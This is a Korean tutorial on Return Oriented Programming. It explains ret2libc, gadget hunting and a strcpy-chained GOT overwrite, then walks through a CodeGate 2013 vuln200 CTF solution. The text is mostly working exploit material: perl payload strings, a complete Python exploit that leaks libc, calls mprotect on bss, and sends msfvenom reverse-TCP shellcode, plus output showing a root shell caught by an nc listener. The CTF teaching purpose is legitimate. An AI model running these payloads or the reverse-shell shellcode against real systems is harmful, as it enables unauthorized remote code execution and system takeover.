Return Oriented Programming

cd80@LeaveRet

이 문서는 ROP에 대한 개념은 알지만 실제로 해본적이 없거나 하는법을 모르는 사람들을 위해 씁니다

문서를 보시기 전에 PLT, GOT에 대한 이해가 선행되셔야 하고 시스템 해킹에 기본적인 지식은 있어야 이해하기 수월할것 같습니다

하나만 짚고 넘어가면

RTL을 처음 공부할때

익스플로잇을 보통

./vul $(perl –e 'print "A"x44, "시스템함수주소", "AAAA", "/bin/sh"주소')

이런식으로 작성하는데

저 시스템함수 주소와 /bin/sh 사이에 들어가는 AAAA는 system함수가 끝나고 리턴할 리턴어드레스입니다

함수는 보통 call에 의해 호출되고 system함수도 일반적으로 call 인스트럭션에 의해 호출되는데

call operand는

sub $0x4, %esp

mov {RET}, (%esp)

jmp operand

로 동작하기 때문에 함수 코드의 맨처음을 가르킬때

esp가 리턴어드레스,

esp + 4가 arg1

esp + 8이 arg2

.....

이런식으로 esp가 가르킵니다

./vul $(perl –e 'print "A"x44, "시스템함수주소", "AAAA", "/bin/sh"주소')

그런데 ret인스트럭션을 실행하면

esp는 그 다음 4바이트를 가르키기 때문에

esp가 "AAAA"

esp + 4가 /bin/sh를 가르킵니다

이래서 AAAA자리가 system함수가 끝난뒤 돌아갈 리턴어드레스가 됩니다

이 개념은 문서 8쪽에서 설명없이 그대로 사용하는 개념이니 이해가 안되시면

직접 system("/bin/sh")를 실행하는 C 프로그램과

취약프로그램을 system("/bin/sh"); 로 RTL할때를 각각 gdb로 보시면서 꼭 이해하셔야 합니다

```
root@ubuntu:~/docs# cat hello.c
main(){
        printf("Hello, ROP!₩n");
}
root@ubuntu:~/docs# gcc -o hello hello.c -w
root@ubuntu:~/docs# ./hello
Hello, ROP!
root@ubuntu:~/docs#
```

```
root@ubuntu:~/docs# objdump -d ./hello | grep ret
 80482d2:       c3                              ret
```

```
 8048353:       c3                      ret
 804836f:       c3                      ret
 8048389:       c3                      ret
 80483a8:       c3                      ret
 80483c6:       c3                      ret
 80483ec:       f3 c3                   repz ret
 8048433:       c3                      ret
 80484a0:       c3                      ret
 80484b0:       f3 c3                   repz ret
 80484c7:       c3                      ret
root@ubuntu:~/docs#
```

위 헬로 ROP 프로그램에서 ret 명령을 찾아보면 꽤 많이 나옵니다

repz를 제외하면 9개의 ret명령이 있습니다

```
root@ubuntu:~/docs# objdump -d ./hello | grep ret -B3
```

위 명령을 실행해서 몇가지를 살펴보면

```
80482ce:       83 c4 08                add    $0x8,%esp
 80482d1:       5b                      pop    %ebx
 80482d2:       c3
```

```
80483c5:       c9                      leave
 80483c6:       c3                      ret
```

```
804849d:       5e                      pop    %esi
 804849e:       5f                      pop    %edi
 804849f:       5d                      pop    %ebp
 80484a0:       c3                      ret
```

```
80484bd:       81 c3 43 1b 00 00       add    $0x1b43,%ebx
 80484c3:       83 c4 08                add    $0x8,%esp
 80484c6:       5b                      pop    %ebx
 80484c7:       c3                      ret
```

이런 명령어들이 존재합니다

이것만 갖고는 사실 할 수 있는게 없다고 볼수도 있습니다

그런데 x86은 CISC구조기 때문에

80484bd: 81 c3 43 1b 00 00 add $0x1b43,%ebx
예를들어 add $0x1b4c, %ebx가 0x80484bd에 있을때

0x80484be, 0x80484bf를 기준으로 명령을 해석하면 add와는 전혀 다른 인스트럭션이 나오게 됩니다

```
(gdb) x/i 0x80484bd
   0x80484bd <_fini+9>:     add     $0x1b43,%ebx
(gdb) x/i 0x80484be
   0x80484be <_fini+10>:    ret
(gdb) x/i 0x80484bf
   0x80484bf <_fini+11>:    inc     %ebx
(gdb) x/i 0x80484c0
   0x80484c0 <_fini+12>:    sbb     (%eax),%eax
(gdb)
```

이런 CISC구조의 특징을 이용해 좀더 다양한 코드를 찾을 수 있는데

직접 수동으로 할 수도 있지만 http://ropshell.com/ 을 이용하면 편합니다

```
================================================================================
 * ROP gadgets generated by ROPEME *
================================================================================
 + Binary info
--------------------------------------------------------------------------------
hash: 8e7ac58b248b634bb10c3e67f8774d70
name: hello
arch: i386
type: ELF
base address: 0x08048320
code size: 402
code offset: 0x320
gadget depth: 6
gadget count: 28
--------------------------------------------------------------------------------
 + Unique gadgets: (offset : instructions)
--------------------------------------------------------------------------------
0x00000033 : ret
0x00000066 : call eax
0x000000a3 : call edx
0x00000068 : leave ; ret
0x0000017f : pop ebp; ret
0x00000111 : dec ecx; ret
0x00000123 : call [esi + 0x53]
0x000000cb : leave ; rep ; ret
0x00000031 : sbb al, 0x24; ret
0x00000030 : mov ebx, [esp]; ret
0x00000064 : add al, 8; call eax
0x000000a1 : add al, 8; call edx
0x00000066 : call eax; leave ; ret
0x0000017e : pop edi; pop ebp; ret
0x000000a3 : call edx; leave ; ret
0x000000ca : add ecx, ecx; rep ; ret
0x000000fc : call [ebp + 0xffffff89]
0x0000017d : pop esi; pop edi; pop ebp; ret
0x0000009c : mov [esp], 0x804a020; call edx
0x0000005f : mov [esp], 0x804a020; call eax
0x000000e8 : mov [esp], 0x8049f10; call eax
0x00000064 : add al, 8; call eax; leave ; ret
0x000000a1 : add al, 8; call edx; leave ; ret
0x000000c8 : add al, 8; add ecx, ecx; rep ; ret
0x0000017c : pop ebx; pop esi; pop edi; pop ebp; ret
0x000000f6 : call [eax + 0xffff73e9]; call [ebp + 0xffffff89]
0x00000098 : mov [esp + 4], eax; mov [esp], 0x804a020; call edx
0x00000099 : inc esp; and al, 4; mov [esp], 0x804a020; call edx
```

공격하는데 사용할만한 가젯은 충분하지 않지만 대충 감은 오실거같습니다

실제로 이렇게 가젯을 이용해서 익스플로잇을 해야하는 상황이 생깁니다

(%s때문에 인자전달이 어려운경우 : http://cd80.tistory.com/59)

(잘 기억안남 : http://cd80.tistory.com/61)

(잘 기억안남2: http://cd80.tistory.com/60)

그래서 다양한 상황에서 모두 익스플로잇을 성공하려면 가젯을 활용하는 방법, 단순히 함수를 연결해 하는 방법등을 많이 알고 계시면 좋습니다

하지만 저런식으로 익스플로잇하는건 제가 처음으로 설명할 방법보다 조금 어렵기 때문에 일단 제쳐두고

LOB FC3에서 문제이름은 기억안나는데 strcpy로 GOT Overwrite하는걸 한번 해보겠습니다

```
root@ubuntu:~/docs# cat strcpy.c
main(int argc, char *argv[]){
        char buf[32];
        strcpy(buf, argv[1]);
        puts("/bin/sh");
}
root@ubuntu:~/docs# gcc -o strcpy strcpy.c -fno-stack-protector -mpreferred-stack-boundary=2 -w
root@ubuntu:~/docs# echo 0 > /proc/sys/kernel/randomize_va_space
root@ubuntu:~/docs#
```

SSP는 끄고 컴파일 했습니다

익스플로잇의 편의를 위해 우선 처음엔 /bin/sh는 대놓고 넣어두고

strcpy로 puts@GOT -> system@LIBC로 만들고

puts("/bin/sh"); 코드로 리턴하면 됩니다

지금 하려는건 system함수의 주소를 메모리에서 찾아서 하나씩 strcpy를 하려는거기 때문에

system함수의 주소가 바뀌면 안돼서 ASLR도 껐습니다

```
root@ubuntu:~/docs# gdb -q strcpy
Reading symbols from strcpy...(no debugging symbols found)...done.
(gdb) b main
```

```
Breakpoint 1 at 0x8048453
(gdb) r
Starting program: /root/docs/strcpy

Breakpoint 1, 0x08048453 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7e54190 <__libc_system>
(gdb)
```

system함수 주소를 알아봅시다

0xb7e54190에 시스템함수가 있는데

각각 바이트들 0xb7, 0xe5, 0x41, 0x90이 모두 바이너리안에 있어야됩니다

```
root@ubuntu:~/docs# objdump -s ./strcpy | grep b7
 8048574 0b740478 003f1a3b 2a322422 1c000000  .t.x.?.;*2$".... 
root@ubuntu:~/docs#
```

근데 b7부터 없습니다 망했습니다

```
root@ubuntu:~/docs# cat strcpy.c
char byte_b7[] = "₩xb7";
char byte_e5[] = "₩xe5";
char byte_41[] = "₩x41";
char byte_90[] = "₩x90";
main(int argc, char *argv[]){
        char buf[32];
        strcpy(buf, argv[1]);
        puts("/bin/sh");
}
root@ubuntu:~/docs# !gcc
gcc -o strcpy strcpy.c -fno-stack-protector -mpreferred-stack-boundary=2 -w
root@ubuntu:~/docs#
```

코드를 수정해서 바이트를 넣어줬습니다

```
root@ubuntu:~/docs# objdump -s ./strcpy | grep b7
 8048574 0b740478 003f1a3b 2a322422 1c000000  .t.x.?.;*2$".... 
 804a01c 00000000 00000000 b700e500 41009000  ............A... 
root@ubuntu:~/docs#
```

생겼습니다

b7은 0x804a024

e5는 0x804a026

41은 0x804a028

90은 0x804a02a에 있습니다

하나하나 strcpy해서 puts@GOT를 overwrite하면 되겠습니다

```
root@ubuntu:~/docs# objdump -d ./strcpy | grep ret -B2 | grep pop -A2
 80482f5:       5b                      pop    %ebx
 80482f6:       c3                      ret
--
--
 80484de:       5f                      pop    %edi
 80484df:       5d                      pop    %ebp
 80484e0:       c3                      ret
--
--
 8048506:       5b                      pop    %ebx
 8048507:       c3                      ret
root@ubuntu:~/docs#
```

strcpy를 총 4번써야 합니다

strcpy(puts@GOT+0, 0x804a02a);

strcpy(puts@GOT+1, 0x804a028);

strcpy(puts@GOT+2, 0x804a026);

strcpy(puts@GOT+3, 0x804a024);

리틀엔디안이므로 0x90 0x41 0xe5 0xb7 순으로 복사합니다

이걸 페이로드로 변환해보면

strcpy RET puts@GOT+0 0x804a02a

strcpy RET puts@GOT+1 0x804a028

strcpy RET puts@GOT+2 0x804a026

strcpy RET puts@GOT+3 0x804a024

가 되는데 첫 strcpy에서 그 다음 strcpy로 가기 위해선

RET에서 esp를 8 증가시키고 ret해야 되는데

pop이 esp를 4 증가시켜주기 때문에

```
80484de:    5f                      pop    %edi
 80484df:    5d                      pop    %ebp
 80484e0:    c3                      ret
```

이 가젯을 사용하면 strcpy들을 연결시켜줄 수 있습니다

pop pop ret은 줄여서 ppr이라고도 합니다

strcpy ppr puts@GOT+0 0x804a02a

strcpy ppr puts@GOT+1 0x804a028

strcpy ppr puts@GOT+2 0x804a026

strcpy ppr puts@GOT+3 0x804a024

그럼이제 페이로드를 완성하기 위해 각각 필요한것들을 찾아보면

```
root@ubuntu:~/docs# objdump -d ./strcpy | grep strcpy₩@plt₩>:
08048310 <strcpy@plt>:
root@ubuntu:~/docs#
```

```
80484de:    5f                      pop    %edi
 80484df:    5d                      pop    %ebp
 80484e0:    c3                      ret
```

```
root@ubuntu:~/docs# objdump -R ./strcpy | grep puts
0804a010 R_386_JUMP_SLOT    puts
root@ubuntu:~/docs#
```

strcpy: 0x8048310

ppr : 0x80484de

puts@GOT : 0x804a010입니다

strcpy ppr puts@GOT+0 0x804a02a

strcpy ppr puts@GOT+1 0x804a028

strcpy ppr puts@GOT+2 0x804a026

strcpy ppr puts@GOT+3 0x804a024

이를 위에 대입시켜보면

"₩x10₩x83₩x04₩x08", "₩xde₩x84₩x04₩x08", "₩x10₩xa0₩x04₩x08", "₩x2a₩xa0₩x04₩x08",

"₩x10₩x83₩x04₩x08", "₩xde₩x84₩x04₩x08", "₩x11₩xa0₩x04₩x08", "₩x28₩xa0₩x04₩x08",

"₩x10₩x83₩x04₩x08", "₩xde₩x84₩x04₩x08", "₩x12₩xa0₩x04₩x08", "₩x26₩xa0₩x04₩x08",

"₩x10₩x83₩x04₩x08", "₩xde₩x84₩x04₩x08", "₩x13₩xa0₩x04₩x08", "₩x24₩xa0₩x04₩x08",

가 되고 마지막에 리턴은

```
(gdb) x/s 0x8048510
0x8048510:      "/bin/sh"
(gdb) x/2i 0x804846a
   0x804846a <main+29>:      movl    $0x8048510,(%esp)
   0x8048471 <main+36>:      call    0x8048320 <puts@plt>
(gdb)
```

0x804846a로 하겠습니다

```
0x0804845f <+18>:     lea      -0x20(%ebp),%eax
   0x08048462 <+21>: mov      %eax,(%esp)
   0x08048465 <+24>: call     0x8048310 <strcpy@plt>
```

ebp-0x20부터 버퍼가 시작하는 것을 감안해 페이로드를 작성하면

```
root@ubuntu:~/docs# ./strcpy "$(perl -e 'print "A"x36, "₩x10₩x83₩x04₩x08",
"₩xde₩x84₩x04₩x08", "₩x10₩xa0₩x04₩x08", "₩x2a₩xa0₩x04₩x08",
"₩x10₩x83₩x04₩x08", "₩xde₩x84₩x04₩x08", "₩x11₩xa0₩x04₩x08",
"₩x28₩xa0₩x04₩x08", "₩x10₩x83₩x04₩x08", "₩xde₩x84₩x04₩x08",
"₩x12₩xa0₩x04₩x08", "₩x26₩xa0₩x04₩x08", "₩x10₩x83₩x04₩x08",
"₩xde₩x84₩x04₩x08", "₩x13₩xa0₩x04₩x08", "₩x24₩xa0₩x04₩x08",
"₩x6a₩x84₩x04₩x08"')"
/bin/sh
#
```

굳

여기까지 하셨다면 이제 함수 체이닝과 GOT Overwrite등에 대해서는 느낌이 오실거같습니다

그럼 이제 codegate2013 vuln200 문제로 실제로 대회문제를 풀때 ROP를 어떻게 하는지를 보겠습니다

http://shell-storm.org/repo/CTF/CodeGate-2013/Vulnerable/200/

```
write(
  v26,
  "CODEGATE 2013 Util service!₩n[×] md5₩n[×] help₩n[×] base64 encode₩n[×] base64 decode₩n[×] quit₩n₩n",
  0x5Bu);
do
{
  memset(&v13, 0, 0x190u);
  v24 = recv(v26, &v13, 0x190u, 0);
}
while ( sub_8048EEB((int)&v13, v26, v24) == 1 );
```

문제는 이렇게 생겼습니다

메뉴처럼 보이는걸 출력하고 사용자한테 0x190바이트를 입력받습니다

입력 받은 버퍼(v13), sockfd(v26), 입력받은 길이(v24)를 핸들러에 넘겨줍니다

```
int __cdecl sub_8048EEB(char *input, int sockfd, int input_len)
```

핸들러 인자설정과 인자이름을 설정했습니다

이 핸들러에선 각각 메뉴에대한 처리를 해주는데

이 중에 메뉴 출력에는 보여지지 않는 히든메뉴가 존재합니다

```
else
{
  sub_80493B1("BEFORE", &dest);
  write(sockfd, "write running₩nCopying bytes", 0x1Cu);
  memcpy(&dest, input + 5, input_len - 5);
  sub_80493B1("AFTER", &dest);
  write(sockfd, "₩nDONE₩nReturn to the main₩n", 0x19u);
  result = 1;
}
```

write라는 메뉴인데

input[0:5]가 write이니

writeAAAAA 를 하면

dest에 "AAAAA"를 len("AAAAA")만큼 memcpy를 합니다

```
char dest; // [sp+32Ch] [bp-ECh]@1
void *v37; // [sp+3F4h] [bp-24h]@20
void *v38; // [sp+3F8h] [bp-20h]@15
void *v39; // [sp+3FCh] [bp-1Ch]@5
```

근데 dest는 bp-0xec에 위치합니다

input을 0x190만큼 넣을수 있으니

0x190-5-0xec만큼 dest 뒤를 덮어씌울수가 있습니다

이제 이걸 어떻게 익스플로잇 해야할지를 고민할때

어떤 보호기법이 적용돼있는지를 봐야하는데

ASLR은 당연히 적용돼있는 상태지만 fork때문에 항상 메모리가 같아 크게 신경쓸 필요는 없고

trapkit.de의 checksec.sh로 확인해보면

```
root@ubuntu:~/docs# checksec --file 5b7420a5bcdc1da85bccc62dcea4c7b8
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH
root@ubuntu:~/docs#
```

```
root@ubuntu:~/docs# checksec --file 5b7420a5bcdc1da85bccc62dcea4c7b8
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH
root@ubuntu:~/docs#
```

이렇게 NX가 적용돼 있지 않다고 나옵니다

바이너리의 NX를 확인한것이기 때문에 바이너리의 데이터영역에 실행권한이 있단 뜻이고

bss 영역에 recv로 쉘코드를 받아서 bss영역으로 리턴해주면 쉘코드가 바로 실행되고

이 방법으로 풀면 엄청 쉽게 풀리지만

이문제에 NX bit을 설정하고 푸는걸 보여드리도록 하겠습니다

https://www.google.com/?gws_rd=ssl#q=codegate2013+vuln200

위 링크 들어가시면 대부분 풀이가 바로 recv로 받아서 푸는 풀이입니다

```
root@ubuntu:~/docs# execstack -c ./5b7420a5bcdc1da85bccc62dcea4c7b8
root@ubuntu:~/docs# checksec --file ./5b7420a5bcdc1da85bccc62dcea4c7b8
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH
root@ubuntu:~/docs#
```

NX가 없기 때문에 이제 bss에 쉘코드를 올려 바로 실행하는건 불가능하고

mprotect나 system같은 함수가 없기 때문에 이를 사용할 수 있게 만들어서 풀겠습니다

로컬에 환경이 구축돼있기 때문에 libc는 이미 알고 있다는 전제 하에 풀고

libc를 모를때도 풀 수 있는 방법이 있지만 조금 길어지기 때문에 생략합니다

libc를 모를때는 두개의 함수를 GOT leak해서

http://libcdb.com/

여기 입력해서 찾아내거나

아니면 libc의 베이스 주소를 write함수를 이용해 찾아내서

libc전체를 메모리로부터 leak해 올 수도 있습니다

어쨌든 우리는 libc를 갖고 있기 때문에

각 함수들간의 거리차이를 알고 있습니다

문서에서 진행하는 환경은 Ubuntu 14.04 LTS x86 입니다

공격 순서는 다음과 같습니다

1. write함수를 이용해 임의의 함수의 LIBC주소를 알아온다 (여기서 알아올땐 한번 이상 실행됐던 함수여야 합니다. GOT에 LIBC주소가 들어가 있어야 하기 때문에)
2. 알아온 함수와 mprotect@LIBC의 차이를 갖고 있는 libc에서 구한다
3. 알아온 함수의 현재 프로세스상에서의 LIBC주소를 알아낸 후 그 주소에서 2번에서 알아낸 차이를 더하거나 빼 mprotect@LIBC를 구한다
4. read함수를 이용해 적당한 함수의 GOT에 mprotect@LIBC를 넣는다
5. 적당한함수@PLT를 이용해 mprotect로 bss영역에 실행권한을 주고 read로 bss영역에 쉘코드를 받아 실행한다

원래는 가젯들을 이용해 익스플로잇하는것을 쓰려 했는데 설명이 좀 많이 필요해서 뺐습니다

위 공격 순서를 그대로 익스플로잇으로 옮겨보겠습니다

```
from socket import *
from struct import pack, unpack
from time import sleep
p = lambda x : pack("<L", x)
up = lambda x : unpack("<L", x)[0]

send_plt = 0x8048790
recv_plt = 0x8048780
socket_plt = 0x80487e0
socket_got = 0x804b034
ppppr = 0x8049a0c
pppr = 0x8049a0d
bss = 0x804b0a0

# msfvenom -p   linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=9999 c
shellcode = "₩x31₩xdb₩xf7₩xe3₩x53₩x43₩x53₩x6a₩x02₩x89₩xe1₩xb0₩x66₩xcd" +
₩
"₩x80₩x93₩x59₩xb0₩x3f₩xcd₩x80₩x49₩x79₩xf9₩x68₩x7f₩x00₩x00" + ₩
"₩x01₩x68₩x02₩x00₩x27₩x0f₩x89₩xe1₩xb0₩x66₩x50₩x51₩x53₩xb3" + ₩
"₩x03₩x89₩xe1₩xcd₩x80₩x52₩x68₩x2f₩x2f₩x73₩x68₩x68₩x2f₩x62" + ₩
"₩x69₩x6e₩x89₩xe3₩x52₩x53₩x89₩xe1₩xb0₩x0b₩xcd₩x80"

s = socket()
s.connect(("192.168.81.210", 7777))
print s.recv(4096)
payload = "write"
payload += "A"*240

# step 1: send socket@GOT
payload += p(send_plt)
payload += p(ppppr)
payload += p(4) # sockfd
payload += p(socket_got) # socket@GOT
payload += p(4) # 32bit address : 4bytes
payload += p(0) # flags
```

```
# step 4: change *socket@GOT -> mprotect@LIBC
payload += p(recv_plt)
payload += p(ppppr)
payload += p(4) # sockfd
payload += p(socket_got) # socket@GOT
payload += p(4) # 4bytes
payload += p(0) # flags

# step 5-1: call mprotect via socket@PLT
payload += p(socket_plt)
payload += p(pppr)
payload += p(bss & 0xfffff000) # addr must be aligned by page size(0x1000)
payload += p(0x1000) # enough space for shellcode
payload += p(7) # PROT_READ | PROT_WRITE | PROT_EXEC

# step 5-2 : recv shellcode to run
payload += p(recv_plt)
payload += p(bss) # directly return to bss
payload += p(4) # sockfd
payload += p(bss) # recv shellcode in bss
payload += p(0x200) # enough space for shellcode
payload += p(0) # flags



s.send(payload)
sleep(1)

# step 3 : calculate mprotect & send it
socket_minus_mprotect = 0x6580
##print s.recv(4096)
tmp = s.recv(4096)
print tmp
socket_libc = tmp.split("Return to the main₩n")[1]
socket_libc = up(socket_libc)
```

```
mprotect_libc = socket_libc - socket_minus_mprotect

s.send(p(mprotect_libc))
sleep(0.5)

# step 5-3 : send shellcode
s.send(shellcode)



s.close()
```

```
root@ubuntu:~/docs# nc -lv -p 9999
Listening on [0.0.0.0] (family 0, port 9999)
Connection from [127.0.0.1] port 9999 [tcp/*] accepted (family 2, sport 40747)
id
uid=0(root) gid=0(root) groups=0(root)
```

ROP를 익히는데 좋은 문제들로는

pCTF 2013 ropasaurusrex

codegate2013 vuln200

pctf2013 pork

codegate2014 nuclear

codegate2014 angry_doraemon

exploit-exercises.com fusion level0~4

등이 있고 2015년 7월 25일에 열리는 JFF3에 제가 낼 문제인

vaja, mipsaurusrex 등도 추천합니다